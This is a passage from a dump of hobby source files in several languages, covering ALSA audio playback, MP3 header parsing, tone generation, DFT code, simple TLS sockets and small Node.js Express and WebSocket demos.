0.6503164768218994, "alphanum_fraction": 0.6898733973503113, "avg_line_length": 25.704225540161133, "blob_id": "476fc177045781099f652484899742235c05b983", "content_id": "528892b874b991b635ae42985e9e9f3ec2804293", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 1896, "license_type": "no_license", "max_line_length": 78, "num_lines": 71, "path": "/src/playwav.rb", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "#!/usr/bin/env ruby\n\nif ARGV.empty?\n STDERR.puts \"Usage: #{$0} foo.wav\"\n exit 1\nend\n\nfile = File.open(ARGV[0], \"rb\")\n\n## head\n\nchunk_id = file.read(4)\nputs \"ChunkID: #{chunk_id}\" \nraise \"not a RIFF file\" if chunk_id != \"RIFF\"\n\nchunk_size = file.read(4).unpack(\"L\")[0]\nputs \"ChunkSize: #{chunk_size}\"\n\nformat = file.read(4)\nputs \"Format: #{format}\"\nraise \"not a WAVE file\" if format != \"WAVE\"\n\n## subchunk1\n\nsubchunk_1_id = file.read(4)\nputs \"Subchunk1ID: #{subchunk_1_id}\"\nraise \"unexpected subchunk_1_id\" if subchunk_1_id != \"fmt \"\n\nsubchunk_1_size = file.read(4).unpack(\"L\")[0]\nputs \"Subchunk1Size: #{subchunk_1_size}\"\nraise \"subchunk_1_size too small\" if subchunk_1_size < 16\n\nsubchunk_1_data = file.read(subchunk_1_size)\n\naudio_format, num_channels, sample_rate, byte_rate, block_align,\n bits_per_sample = subchunk_1_data[0..15].unpack(\"SSLLSS\")\nputs \"AudioFormat: #{audio_format} (#{audio_format == 1 ? 'PCM' : 'UNKNOWN'})\"\nputs \"NumChannels: #{num_channels} (#{num_channels == 1 ? 'Mono' : 'Stereo'})\"\nputs \"SampleRate: #{sample_rate} Hz\"\nputs \"ByteRate: #{byte_rate} B/s\"\nputs \"BlockAlign: #{block_align} B\"\nputs \"BitsPerSample: #{bits_per_sample}\"\n\n## subchunk2\n\nsubchunk_2_id = file.read(4)\nputs \"Subchunk2ID: #{subchunk_2_id}\"\nraise \"unexpected subchunk_2_id\" if subchunk_2_id != \"data\"\n\nsubchunk_2_size = file.read(4).unpack(\"L\")[0]\nputs \"Subchunk2Size: #{subchunk_2_size}\"\n\nputs \"PCM data starts from: #{file.tell}\"\n\n## play pcm data\n## gem install ruby-alsa\n\nrequire 'alsa'\n\nALSA::PCM::Playback.open do |playback|\n playback.write do |length|\n file.read length\n end\nend\n\n# References:\n# https://ccrma.stanford.edu/courses/422/projects/WaveFormat/\n# http://www.digitalpreservation.gov/formats/fdd/fdd000001.shtml\n# http://www.sonicspot.com/guide/wavefiles.html\n# http://www.360doc.com/content/09/0213/10/72158_2530988.shtml\n# http://projects.tryphon.eu/projects/ruby-alsa/wiki\n" }, { "alpha_fraction": 0.5380761623382568, "alphanum_fraction": 0.5561122298240662, "avg_line_length": 21.177778244018555, "blob_id": "d55889ba60b5168ec58325c5ba56a78a2bd2f0dc", "content_id": "476241dd5836af2a70a89da00259048275e89adc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 998, "license_type": "no_license", "max_line_length": 70, "num_lines": 45, "path": "/src/onlinecounter.js", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "// app.js: A nodejs web app demo.\n//\n// package.json\n// {\n// \"name\": \"online\",\n// \"description\": \"simple online counter app\",\n// \"version\": \"0.0.1\",\n// \"private\": true,\n// \"dependencies\": {\n// \"express\": \"3.x\",\n// \"redis\": \"*\"\n// }\n// }\n//\n// Ref: http://expressjs.com/guide.html#users-online\n\n\nvar express = require('express');\nvar redis = require('redis');\nvar db = redis.createClient();\nvar app = express();\n\napp.use(function (req, res, next) {\n var ua = req.headers['user-agent'];\n db.zadd('online', Date.now(), ua, next);\n});\n\napp.use(function (req, res, next) {\n var min = 60 * 1000;\n var ago = Date.now() - min; // one minute ago\n db.zrevrangebyscore('online', '+inf', ago, function (err, users) {\n if (err)\n return next(err);\n\n req.online = users;\n next();\n });\n});\n\napp.get('/', function (req, res) {\n res.send(req.online.length + ' users online');\n});\n\napp.listen(3000);\nconsole.log('Listening on port 3000 ...');\n" }, { "alpha_fraction": 0.49372145533561707, "alphanum_fraction": 0.5034246444702148, "avg_line_length": 22.98630142211914, "blob_id": "30a4e5bce14536e90e6038f2215f760439063887", "content_id": "6cd49eee584ca1dcb626af62c1f3e3698ba73cb1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1752, "license_type": "no_license", "max_line_length": 77, "num_lines": 73, "path": "/src/sigusr2hdlr.c", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "\nstatic void sigusr2_cb(struct ev_loop *loop, ev_signal *watcher, int revents)\n{\n int pipefd[2], rpipe, wpipe;\n pid_t child;\n char *binfile;\n char fdbuf[16];\n static ev_io rpipe_watcher;\n\n PFatal(\"caught signal %s\\n\", strsignal(watcher->signum));\n\n // create a pair of pipes\n if (pipe(pipefd) == -1)\n {\n PError(\"failed to create pipes: %s\\n\", strerror(errno));\n return;\n }\n rpipe = pipefd[0];\n wpipe = pipefd[1];\n\n child = fork();\n if(child == -1)\n {\n PError(\"failed to fork: %s\\n\", strerror(errno));\n }\n else if(child == 0)\n {\n PDebug(\"In child: pid=%d, ppid=%d\\n\", getpid(), getppid());\n\n close(rpipe);\n\n // get executable file path\n binfile = program_path();\n if(binfile == NULL)\n {\n PError(\"failed to exec: %s\\n\", strerror(errno));\n exit(1);\n }\n\n // set environment variables\n sprintf(fdbuf, \"%d\", wpipe);\n setenv(\"INIT_ACK_PIPE\", fdbuf, 1);\n\n sprintf(fdbuf, \"%d\", state.server.sockfd);\n setenv(\"SERVER_SOCKFD\", fdbuf, 1);\n\n // exec\n if(execv(binfile, state.argv) == -1)\n {\n PError(\"failed to exec: %s\\n\", strerror(errno));\n\n write(wpipe, \"F\", 1);\n close(wpipe);\n\n _exit(1);\n }\n }\n else\n {\n PDebug(\"In parent: pid=%d, ppid=%d\\n\", getpid(), getppid());\n\n close(wpipe);\n\n if(set_nonblocking(rpipe, 1) == -1)\n {\n PError(\"set_nonblocking error: %s\\n\", strerror(errno));\n close(rpipe);\n return;\n }\n\n ev_io_init(&rpipe_watcher, rpipe_on_read, rpipe, EV_READ);\n ev_io_start(state.loop, &rpipe_watcher);\n }\n}\n" }, { "alpha_fraction": 0.5509110689163208, "alphanum_fraction": 0.5627009868621826, "avg_line_length": 22.923076629638672, "blob_id": "918bd82cda3cc8ffb3574b4ee6a98e9cbe8efab9", "content_id": "36edf6bab980748e6b684f9aefd7e3a27de2a743", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 933, "license_type": "no_license", "max_line_length": 76, "num_lines": 39, "path": "/src/playmidi.c", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <alsa/asoundlib.h>\n\nint main()\n{\n int portid;\n snd_seq_t *seq_handle;\n snd_seq_event_t ev;\n \n if (snd_seq_open(&seq_handle, \"hw\", SND_SEQ_OPEN_DUPLEX, 0) < 0) {\n fprintf(stderr, \"Error opening ALSA sequencer.\\n\");\n exit(1);\n }\n \n snd_seq_set_client_name(seq_handle, \"Generated MIDI\");\n \n portid = snd_seq_create_simple_port(seq_handle, \"Generated MIDI Output\",\n SND_SEQ_PORT_CAP_READ | SND_SEQ_PORT_CAP_SUBS_READ,\n SND_SEQ_PORT_TYPE_APPLICATION);\n \n if (portid < 0) {\n fprintf(stderr, \"fatal error: could not open output port.\\n\");\n exit(1);\n }\n \n int i, ret;\n for(i = 0; i < 100; i++) {\n snd_seq_ev_clear(&ev);\n ret = snd_seq_event_output(seq_handle, &ev);\n printf(\"ret is %d\\n\", ret);\n sleep(1);\n }\n \n snd_seq_close(seq_handle);\n \n return 0;\n}\n" }, { "alpha_fraction": 0.7222884297370911, "alphanum_fraction": 0.7282479405403137, "avg_line_length": 25.21875, "blob_id": "5e84ee757e18e02b318ac40b2628f598a874a49f", "content_id": "5b7b4c56d011e631fbecf4c37631fbbef268c4d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 839, "license_type": "no_license", "max_line_length": 76, "num_lines": 32, "path": "/src/tlsc.py", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport ssl\nimport pprint\nimport socket\n\nCACerts = '/etc/pki/tls/cert.pem' # Fedora\n#CACerts = '/etc/ssl/certs/ca-certificates.crt' # Debian\n\nRemoteHost = 'www.verisign.com'\nRemotePort = 443\n\n# establish a connection\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((RemoteHost, RemotePort))\n\n# require a certificate from the server\nssl_sock = ssl.wrap_socket(s, ca_certs=CACerts, cert_reqs=ssl.CERT_REQUIRED)\n\nprint 'PeerName:', repr(ssl_sock.getpeername())\nprint 'Cipher:', ssl_sock.cipher()\nprint 'PeerCert:', pprint.pformat(ssl_sock.getpeercert())\n\n# Set a simple HTTP request\nssl_sock.write(\"\"\"GET / HTTP/1.0\\r\\nHost: %s\\r\\n\\r\\n\"\"\" % RemoteHost)\n\n# Read a chunk of data.\ndata = ssl_sock.read()\nprint data\n\n# note that closing the SSLSocket will also close the underlying socket\nssl_sock.close()\n" }, { "alpha_fraction": 0.6194646954536438, "alphanum_fraction": 0.6301703453063965, "avg_line_length": 25.346153259277344, "blob_id": "91b5a6a48c583b42633186aadc13ed6405fd5fce", "content_id": "a3d57041d657b5fe0a67db721e1d667391f0427e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2055, "license_type": "no_license", "max_line_length": 69, "num_lines": 78, "path": "/src/playwav.py", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\n# This an example program in the pyalsaaudio package.\n\n# Simple test script that plays a wav file.\n\n# Footnote: I'd normally use print instead of sys.std(out|err).write,\n# but this version runs on python 2 and python 3 without conversion\n\nimport sys\nimport wave\nimport getopt\nimport alsaaudio\n\ndef play(device, f): \n nchannels = f.getnchannels()\n framerate = f.getframerate()\n sampwidth = f.getsampwidth()\n\n sys.stdout.write('Channels: %d\\n' % nchannels)\n sys.stdout.write('Frame rate: %d\\n' % framerate)\n sys.stdout.write('Sample width: %d\\n' % sampwidth)\n\n # Set attributes\n device.setchannels(f.getnchannels())\n device.setrate(f.getframerate())\n\n # 8bit is unsigned in wav files\n if f.getsampwidth() == 1:\n device.setformat(alsaaudio.PCM_FORMAT_U8)\n # Otherwise we assume signed data, little endian\n elif f.getsampwidth() == 2:\n device.setformat(alsaaudio.PCM_FORMAT_S16_LE)\n elif f.getsampwidth() == 3:\n device.setformat(alsaaudio.PCM_FORMAT_S24_LE)\n elif f.getsampwidth() == 4:\n device.setformat(alsaaudio.PCM_FORMAT_S32_LE)\n else:\n raise ValueError('Unsupported format')\n\n # set period size\n # Ref: http://www.alsa-project.org/main/index.php/FramesPeriods\n periodsize = framerate / 10 # interrupt every 100ms\n device.setperiodsize(periodsize)\n \n # transfer pcm data\n data = f.readframes(periodsize)\n while data:\n # Read data from stdin\n device.write(data)\n data = f.readframes(periodsize)\n\n\ndef usage():\n sys.stderr.write('usage: playwav.py [-c <card>] <file>\\n')\n sys.exit(2)\n\nif __name__ == '__main__':\n card = 'default'\n\n opts, args = getopt.getopt(sys.argv[1:], 'c:')\n for o, a in opts:\n if o == '-c':\n card = a\n\n if not args:\n usage()\n \n f = wave.open(args[0], 'rb')\n device = alsaaudio.PCM(card=card)\n\n try:\n play(device, f)\n except KeyboardInterrupt:\n pass\n finally:\n device.close()\n f.close()\n" }, { "alpha_fraction": 0.630742073059082, "alphanum_fraction": 0.6713780760765076, "avg_line_length": 22.58333396911621, "blob_id": "60af6480b9c74151387733cd2c1ff531b7f2ab66", "content_id": "c9664a23acbc1838e8df2927aa8307ec4fa67b05", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 566, "license_type": "no_license", "max_line_length": 72, "num_lines": 24, "path": "/src/tlss.py", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\n# cert.pem is generated by the following command:\n# openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.pem\n\nimport ssl\nimport socket\n\nss = socket.socket()\nss.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\nss.bind(('0.0.0.0', 10443))\nss.listen(5)\n\ns, addr = ss.accept()\nc = ssl.wrap_socket(s, server_side=True, certfile='cert.pem',\n keyfile='cert.pem', ssl_version=ssl.PROTOCOL_TLSv1)\n\ntry:\n data = c.read()\n print repr(data)\n c.write('HTTP/1.0 200 OK\\r\\n\\r\\nIt works!')\nfinally:\n c.close()\n ss.close()\n" }, { "alpha_fraction": 0.5762081742286682, "alphanum_fraction": 0.5994423627853394, "avg_line_length": 20.93877601623535, "blob_id": "31b1a382b076ad86ec1a7a3a2c47b66d07075b5f", "content_id": "39a0d264a1c53a9866bc46303f6697b373aeaa14", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 2152, "license_type": "no_license", "max_line_length": 75, "num_lines": 98, "path": "/src/findmp3frames.rb", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "\n\n# Check if it is a valid MPEG header.\n# The argument *header* is a 32-bit unsigned integer.\n#\n# Refer to:\n# - eyed3/mp3/headers.py: isValidHeader\n# - http://www.mp3-tech.org/programmer/frame_header.html\ndef is_valid_header(header)\n # Frame sync\n sync = (header >> 16)\n if sync & 0xffe0 != 0xffe0\n #STDERR.puts \"invalid sync bits\"\n return false\n end\n\n # MPEG Audio version ID\n version = (header >> 19) & 0x3\n if version == 1 # 1 is reserved\n #STDERR.puts \"invalid mpeg version\"\n return false\n end\n\n # Layer description\n layer = (header >> 17) & 0x3\n if layer == 0 # 0 is reserved\n #STDERR.puts \"invalid mpeg layer\"\n return false\n end\n\n # Bitrate index\n bitrate = (header >> 12) & 0xf\n if bitrate == 0 || bitrate == 0xf\n #STDERR.puts \"invalid mpeg bitrate\"\n return false\n end\n\n sample_rate = (header >> 10) & 0x3\n if sample_rate == 0x3\n #STDERR.puts \"invalid mpeg sample rate\"\n return false\n end\n\n return true\nend\n\ndef find_next_header(data, offset=0)\n pos = offset\n while true\n char = data[pos]\n break if char.nil? # eof\n\n if char.ord == 0xff\n headstr = data[pos...pos+4]\n headint = headstr.unpack('N').first\n break if headint.nil? # eof\n\n if is_valid_header(headint)\n return [pos, headint, headstr]\n end\n end\n\n pos += 1\n end\n\n return [nil, nil, nil]\nend\n\n# find and print all headers.\ndef find_headers(filename)\n filesize = File.size(filename)\n data = File.read(filename)\n data.force_encoding \"BINARY\"\n\n offset = count = 0\n last_pos = last_headint = nil\n while true\n pos, headint, _ = find_next_header(data, offset)\n if pos.nil? # eof\n if last_pos != nil\n puts \"Frame #{count} @#{last_pos}: 0x#{last_headint.to_s(16)},\" +\n \" #{filesize-last_pos} bytes (#{last_pos}, #{filesize})\"\n end\n break\n else\n offset = pos + 4\n count += 1\n\n if count > 1\n puts \"Frame #{count-1} @#{last_pos}: 0x#{last_headint.to_s(16)},\" +\n \" #{pos-last_pos} bytes (#{last_pos}, #{pos})\"\n end\n\n last_pos = pos\n last_headint = headint\n end\n end\nend\n\nfind_headers ARGV[0]\n" }, { "alpha_fraction": 0.5255318880081177, "alphanum_fraction": 0.5327659845352173, "avg_line_length": 23.226804733276367, "blob_id": "cd71838b4d39a6016c2411f6ec854af920f8da54", "content_id": "674857783e348e7a973d0356bed8063595e79add", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2350, "license_type": "no_license", "max_line_length": 58, "num_lines": 97, "path": "/src/wav2mono", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport sys\nimport wave\nimport getopt\n\ndef convert(input, leftout=None, rightout=None):\n if not (leftout or rightout):\n print 'error: output arguments unspecified'\n return\n\n wf = wave.open(input, 'rb')\n\n nchannels = wf.getnchannels()\n framerate = wf.getframerate()\n sampwidth = wf.getsampwidth()\n nframes = wf.getnframes()\n framesize = nchannels * sampwidth\n\n sys.stdout.write('Channels: %d\\n' % nchannels)\n sys.stdout.write('Frame rate: %d\\n' % framerate)\n sys.stdout.write('Sample width: %d\\n' % sampwidth)\n sys.stdout.write('Frames: %d\\n' % nframes)\n\n if not nchannels == 2:\n print 'error: nchannels is %d' % nchannels\n return\n\n if leftout:\n lwf = wave.open(leftout, 'wb')\n lwf.setnchannels(1)\n lwf.setframerate(framerate)\n lwf.setsampwidth(sampwidth)\n lwf.setnframes(nframes)\n\n if rightout:\n rwf = wave.open(rightout, 'wb')\n rwf.setnchannels(1)\n rwf.setframerate(framerate)\n rwf.setsampwidth(sampwidth)\n rwf.setnframes(nframes)\n\n while True:\n data = wf.readframes(framerate)\n datalen = len(data)\n framecnt = datalen / framesize\n if framecnt <= 0:\n break\n\n ldata = ''\n rdata = ''\n for i in range(framecnt):\n a = i * 2 * sampwidth\n b = (i * 2 + 1) * sampwidth\n c = (i + 1) * 2 * sampwidth\n ldata += data[a:b]\n rdata += data[b:c]\n\n if leftout:\n lwf.writeframes(ldata)\n\n if rightout:\n rwf.writeframes(rdata)\n\ndef usage():\n print 'wav2mono [Options] INPUT'\n\ndef version():\n print 'wav2mono 0.1.0'\n\ndef main():\n leftout = None\n rightout = None\n \n try:\n opts, args = getopt.getopt(sys.argv[1:], 'hl:r:V',\n ['help', 'left=', 'right=', 'version'])\n except getopt.GetoptError, err:\n show_usage()\n sys.exit(1)\n\n for o, a in opts:\n if o in ('-h', '--help'):\n usage()\n exit()\n elif o in ('-l', '--left'):\n leftout = a\n elif o in ('-r', '--right'):\n rightout = a\n elif o in ('-V', '--version'):\n version()\n exit()\n\n convert(args[0], leftout, rightout)\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5883758068084717, "alphanum_fraction": 0.6449044346809387, "avg_line_length": 21.03508758544922, "blob_id": "85fe1f0adbf6aa32d2417afcab3d14e001db956c", "content_id": "2f0aa7837768465637ed0214d4231b8812bf10bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1256, "license_type": "no_license", "max_line_length": 58, "num_lines": 57, "path": "/src/playsinewave.py", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "import sys\nimport wave\nimport struct\nimport alsaaudio\nimport numpy as np\n\ndef sine(freq=1000, samples=44100):\n periods = freq * samples / 44100\n return np.sin(np.linspace(0, np.pi * 2 * periods,\n samples, endpoint=False))\n\ndef quantize(real, scale=32768):\n UPPER_BOUND = scale - 1\n LOWER_BOUND = -scale\n\n num = int(round(real * scale))\n if num > UPPER_BOUND:\n num = UPPER_BOUND\n elif num < LOWER_BOUND:\n num = LOWER_BOUND\n return num\n\ndef pack_int16le(num):\n return struct.pack('h', num)\n\ndef sine_pcm(freq=1000, samples=44100):\n return [quantize(i) for i in sine(freq, samples)]\n\ndef sine_pcm_data(freq=1000, samples=44100):\n pcm_samples = sine_pcm(freq, samples)\n return ''.join([pack_int16le(i) for i in pcm_samples])\n\n########################################\n\nif len(sys.argv) >= 2:\n F = int(sys.argv[1])\nelse:\n F = 1000 # 1000 Hz\n\n# generate audio data\ndata = sine_pcm_data(F, 4410)\n\n# prepare PCM device\ndevice = alsaaudio.PCM(card='default')\ndevice.setrate(44100)\ndevice.setchannels(1)\ndevice.setformat(alsaaudio.PCM_FORMAT_S16_LE)\ndevice.setperiodsize(44100)\n\n# write audio data\ntry:\n while True:\n device.write(data)\nexcept KeyboardInterrupt:\n exit()\n\n#device.close()\n" }, { "alpha_fraction": 0.5477124452590942, "alphanum_fraction": 0.5738562345504761, "avg_line_length": 19.675676345825195, "blob_id": "3d1c64f5bc956e526d68a426a5895a10937dad24", "content_id": "deb00f33477b8d4f6eae5c83fcfb46344324df45", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 765, "license_type": "no_license", "max_line_length": 62, "num_lines": 37, "path": "/src/dft.rb", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "# DFT and IDFT implemented in Ruby\n# Ref: http://en.wikipedia.org/wiki/Discrete_Fourier_transform\n\nclass Complex\n def inspect\n \"(#{real.round(3)}, #{imag.round(3)}j)\"\n end\nend\n\ndef dft(seq)\n (0...seq.size).map do |k|\n (0...seq.size).map do |n|\n exp = -2.0 * Math::PI * k * n / seq.size\n seq[n] * Complex(Math.cos(exp), Math.sin(exp))\n end.reduce{ |acc, el| acc + el }\n end\nend\n\ndef idft(seq)\n (0...seq.size).map do |n|\n (0...seq.size).map do |k|\n exp = 2.0 * Math::PI * k * n / seq.size\n seq[k] * Complex(Math.cos(exp), Math.sin(exp))\n end.reduce{ |acc, el| acc + el } / seq.size\n end\nend\n\ninput = [1, 1, 1, 1]\np input\np dft(input)\np idft(dft(input))\nputs\n\ninput = [1, 2, 3, 4, 5, 6]\np input\np dft(input)\np idft(dft(input))\n" }, { "alpha_fraction": 0.5652273893356323, "alphanum_fraction": 0.5732659697532654, "avg_line_length": 34.398372650146484, "blob_id": "8dba10aa484578f471977c547a50bd1c817f14a8", "content_id": "f7c1b8d08a971f1aa5ea95459608de0cc1822dfa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 4354, "license_type": "no_license", "max_line_length": 100, "num_lines": 123, "path": "/src/ws/chat-server.js", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "// Refer to:\n// http://martinsikora.com/nodejs-and-websocket-simple-chat-tutorial\n// https://gist.github.com/martinsik/2031681\n\n// http://ejohn.org/blog/ecmascript-5-strict-mode-json-and-more/\n\"use strict\";\n\n// Optional. You will see this name in eg. 'ps' or 'top' command\nprocess.title = 'node-chat';\n\nvar http, WebSocketServer,\n webSocketsServerPort, history, clients, server, wsServer,\n htmlEntities;\n\n// Port where we'll run the websocket server\nwebSocketsServerPort = 1337;\n\n// npm install websocket\nWebSocketServer = require('websocket').server;\nhttp = require('http');\n\n// latest 100 messages\nhistory = [];\n// list of currently connected clients (users)\nclients = [];\n\n// Helper function for escaping input strings\nhtmlEntities = function (str) {\n return String(str).replace(/&/g, '&amp;').replace(/</g, '&lt;')\n .replace(/>/g, '&gt;').replace(/\"/g, '&quot;');\n};\n\n// HTTP server\nserver = http.createServer(function (request, response) {\n // Not important for us. We're writing WebSocket server, not HTTP server\n});\n\nserver.listen(webSocketsServerPort, function () {\n console.log((new Date()) + \" Server is listening on port \" + webSocketsServerPort);\n});\n\n// WebSocket server\nwsServer = new WebSocketServer({\n // WebSocket server is tied to a HTTP server. WebSocket request is just\n // an enhanced HTTP request. For more info http://tools.ietf.org/html/rfc6455#page-6\n httpServer: server\n});\n\n// This callback function is called every time someone\n// tries to connect to the WebSocket server\nwsServer.on('request', function (request) {\n var connection, index, userName;\n\n console.log((new Date()) + ' Connection from origin ' + request.origin + '.');\n\n // accept connection - you should check 'request.origin' to make sure that\n // client is connecting from your website\n // (http://en.wikipedia.org/wiki/Same_origin_policy)\n connection = request.accept(null, request.origin);\n // we need to know client index to remove them on 'close' event\n index = clients.push(connection) - 1;\n userName = false;\n\n console.log((new Date()) + ' Connection accepted.');\n\n // send back chat history\n if (history.length > 0) {\n connection.sendUTF(JSON.stringify({type: 'history', data: history}));\n }\n\n // user sent some message\n connection.on('message', function (message) {\n var i, json, obj;\n\n if (message.type === 'utf8') { // accept only text\n json = JSON.parse(message.utf8Data);\n console.log(json);\n if (json.type === 'hello') {\n userName = htmlEntities(json.name);\n connection.sendUTF(JSON.stringify({type: 'welcome', name: userName}));\n console.log((new Date()) + ' User is known as: ' + userName);\n } else if (json.type === 'message') {\n console.log((new Date()) + ' Received Message from ' + userName + ': ' + json.text);\n obj = {\n time: (new Date()).getTime(),\n text: htmlEntities(json.text),\n author: userName\n };\n history.push(obj);\n history = history.slice(-100);\n\n // broadcast message to all connected clients\n json = JSON.stringify({type: 'message', data: obj});\n for (i = 0; i < clients.length; i += 1) {\n clients[i].sendUTF(json);\n }\n } else if (json.type === 'image') {\n obj = {\n time: (new Date()).getTime(),\n imageSrc: json.text,\n author: userName\n };\n history.push(obj);\n history = history.slice(-100);\n\n // broadcast message to all connected clients\n json = JSON.stringify({type: 'image', data: obj});\n for (i = 0; i < clients.length; i += 1) {\n clients[i].sendUTF(json);\n }\n }\n }\n });\n\n // user disconnected\n connection.on('close', function (connection) {\n if (userName !== false) {\n console.log((new Date()) + \" Peer \" + userName + \" disconnected.\");\n // remove user from the list of connected clients\n clients.splice(index, 1);\n }\n });\n});\n" }, { "alpha_fraction": 0.5711060762405396, "alphanum_fraction": 0.6264108419418335, "avg_line_length": 16.719999313354492, "blob_id": "341ea77534b5baf93cdbbe1fbae1f90077140071", "content_id": "e1dd61822bbb7471938809328d5426065ad162f5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 886, "license_type": "no_license", "max_line_length": 50, "num_lines": 50, "path": "/src/express_vhost.js", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "// vhost.js: test the vhost middleware of express.\n\n/*\nedit /etc/hosts:\n\n127.0.0.1 foo.example.com\n127.0.0.1 bar.example.com\n127.0.0.1 example.com\n*/\n\n/*\ncurl http://foo.example.com:3000/\ncurl http://bar.example.com:3000/\ncurl http://example.com:3000/\n*/\n\nvar express = require('express');\n\n\n// foo.example.com[:3000]\nvar foo = express();\n\nfoo.get('/', function (req, res) {\n res.send('Welcome to foo.example.com!\\n');\n});\n\n\n// bar.example.com[:3000]\nvar bar = express();\n\nbar.get('/', function (req, res) {\n res.send('Welcome to bar.example.com!\\n');\n});\n\n\n// Vhost app\nvar app = express();\n\napp.use(express.logger('dev'));\n\napp.use(express.vhost('foo.example.com', foo));\napp.use(express.vhost('bar.example.com', bar));\n\napp.get('*', function(req, res) {\n res.send(404, 'Invalid host!\\n');\n});\n\n\napp.listen(3000);\nconsole.log('Listening on port 3000 ...');\n" }, { "alpha_fraction": 0.49920886754989624, "alphanum_fraction": 0.5411392450332642, "avg_line_length": 23.543689727783203, "blob_id": "fe5d0559f24d42f1d0d711d67fb5a75e8b09da1d", "content_id": "a820ff2902b72aa386d254d0c3ce960226dac9a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2528, "license_type": "no_license", "max_line_length": 58, "num_lines": 103, "path": "/src/playmusictones.py", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "import sys\nimport time\nimport wave\nimport struct\nimport alsaaudio\nimport numpy as np\n\nclass Octave(object):\n C0 = 16.35159783128741\n HTFR = 2**(1.0/12) # half-tone frequency ratio\n\n __table__ = []\n\n for i in range(12):\n if i == 0:\n row = [C0*(2**i) for i in range(10)]\n else:\n row = [i*HTFR for i in __table__[i-1]]\n __table__.append(row)\n\n __pitches__ = ['C', 'C#', 'D', 'D#', 'E', 'F',\n 'F#', 'G', 'G#', 'A', 'A#', 'B']\n\n @classmethod\n def tone(cls, name):\n \"\"\"Get the frequency of a tone.\n e.g. tone('C4') => 440.0\n \"\"\"\n if len(name) == 2:\n pitch = name[0]\n elif len(name) == 3:\n pitch = name[:2]\n else:\n raise ValueError('invalid tone name')\n\n if pitch not in cls.__pitches__:\n raise ValueError('invalid tone name')\n\n pitch = cls.__pitches__.index(pitch)\n\n try:\n level = int(name[-1])\n except ValueError:\n raise ValueError('invalid tone name')\n\n return cls.__table__[pitch][level]\n\n\ndef sine(freq=1000, samples=44100):\n periods = freq * samples / 44100\n return np.sin(np.linspace(0, np.pi * 2 * periods,\n samples, endpoint=False))\n\ndef quantize(real, scale=32768):\n UPPER_BOUND = scale - 1\n LOWER_BOUND = -scale\n\n num = int(round(real * scale))\n if num > UPPER_BOUND:\n num = UPPER_BOUND\n elif num < LOWER_BOUND:\n num = LOWER_BOUND\n return num\n\ndef pack_int16le(num):\n return struct.pack('h', num)\n\ndef sine_pcm(freq=1000, samples=44100):\n return [quantize(i) for i in sine(freq, samples)]\n\ndef sine_pcm_data(freq=1000, samples=44100):\n pcm_samples = sine_pcm(freq, samples)\n return ''.join([pack_int16le(i) for i in pcm_samples])\n\ndef tone_pcm_data(name, samples=44100):\n freq = int(round(Octave.tone(name)))\n return sine_pcm_data(freq, samples)\n\n########################################\n\n# prepare PCM device\ndevice = alsaaudio.PCM(card='default')\ndevice.setrate(44100)\ndevice.setchannels(1)\ndevice.setformat(alsaaudio.PCM_FORMAT_S16_LE)\n\n# write audio data\ntry:\n # C3~B6\n for i in range(3, 7): # 3, 4, 5, 6\n for j in ['C', 'D', 'E', 'F', 'G', 'A', 'B']:\n tone = '%s%s' % (j, i)\n freq = int(round(Octave.tone(tone)))\n print tone, freq\n\n data = sine_pcm_data(freq)\n device.write(data)\n\n time.sleep(2)\nexcept KeyboardInterrupt:\n exit()\n\n#device.close()\n" }, { "alpha_fraction": 0.5243841409683228, "alphanum_fraction": 0.560583233833313, "avg_line_length": 18.310680389404297, "blob_id": "22add1164992f8182abae509a25eb5a0f2a9ceb5", "content_id": "18afb2100a87d1a1e53b1cdee4a53b323dd2eb41", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 1989, "license_type": "no_license", "max_line_length": 70, "num_lines": 103, "path": "/src/radix2fft.rb", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "# Radix-2 FFT and IFFT implemented in Ruby\n# Ref: http://en.wikipedia.org/wiki/Cooley%E2%80%93Tukey_FFT_algorithm\n\nclass Complex\n def inspect\n \"(#{real.round(3)}, #{imag.round(3)}j)\"\n end\nend\n\n# 